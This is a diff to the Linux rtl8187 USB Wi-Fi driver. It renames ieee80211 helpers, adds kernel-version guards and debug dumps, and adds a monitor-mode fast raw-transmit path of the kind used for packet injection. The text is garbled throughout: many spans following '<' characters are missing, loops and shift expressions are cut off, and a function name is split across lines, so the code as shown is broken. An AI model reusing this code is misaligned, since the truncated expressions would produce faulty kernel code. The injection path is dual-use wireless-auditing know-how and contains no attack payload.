!(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,21 +414,22 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); } @@ -430,7 +443,7 @@ void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +460,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +472,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +481,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +500,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +536,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +574,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +596,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +615,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +629,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +651,119 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +947,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +972,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +998,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1014,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) +#else +void rtl8187_rx_isr(struct urb *rx_urb) +#endif { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1134,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1148,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1169,29 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->fasttx == 0) + { + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + spin_unlock_irqrestore(&priv->tx_lock,flags); + } + else + { + rtl8180_tx_fast(dev, (u32*)skb->data, skb->len, ieeerate2rtlrate(rate)); + } + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1201,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1216,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1231,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1240,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,40 +1248,44 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif void rtl8180_try_wake_queue(struct net_device *dev, int pri); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1239,6 +1296,15 @@ rtl8180_try_wake_queue(dev,LOW_PRIORITY); } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void rtl8187_lptx_isr_fast(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr_fast(struct urb *tx_urb) +#endif +{ + kfree(tx_urb->transfer_buffer); + usb_free_urb(tx_urb); +} void rtl8187_beacon_stop(struct net_device *dev) { @@ -1249,55 +1315,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1373,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,16 +1384,20 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_nptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1339,10 +1409,10 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,12 +1422,12 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ + pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + /* we are locked here so the two atomic_read and inc are executed without interleaves */ if( pend > MAX_TX_URB){ if(priority == NORM_PRIORITY) priv->stats.txnpdrop++; @@ -1365,52 +1435,38 @@ priv->stats.txlpdrop++; return -1; } - - + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} + if(morefrag) tx[0] |= (1<<17); tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1477,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1494,97 @@ } } - +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB (fast) + */ + +short rtl8180_tx_fast(struct net_device *dev, u32* txbuf, int len, short rate) +{ + u32 *tx; + int status; + struct urb *tx_urb; + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + urb_len = len + 4*3; + if((0 == urb_len%64)||(0 == urb_len%512)) { + urb_len += 1; + } + tx = kmalloc(urb_len, GFP_ATOMIC); + if(!tx) return -ENOMEM; + + tx_urb = usb_alloc_urb(0,GFP_ATOMIC); + + if(!tx_urb){ + kfree(tx); + return -ENOMEM; + } + + memcpy(tx+3,txbuf,len); + tx[0] = (len & 0xfff) + 0x8000; + tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ + tx[0] |= (rate << 24); + tx[1] = 0; + tx[2] = 2931; + + /* FIXME check what EP is for low/norm PRI */ + usb_fill_bulk_urb(tx_urb,priv->udev, + usb_sndbulkpipe(priv->udev, 2), tx, urb_len, rtl8187_lptx_isr_fast, dev); + status = usb_submit_urb(tx_urb, GFP_ATOMIC); + if (!status){ + return 0; + }else{ + return -1; + } +} + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + 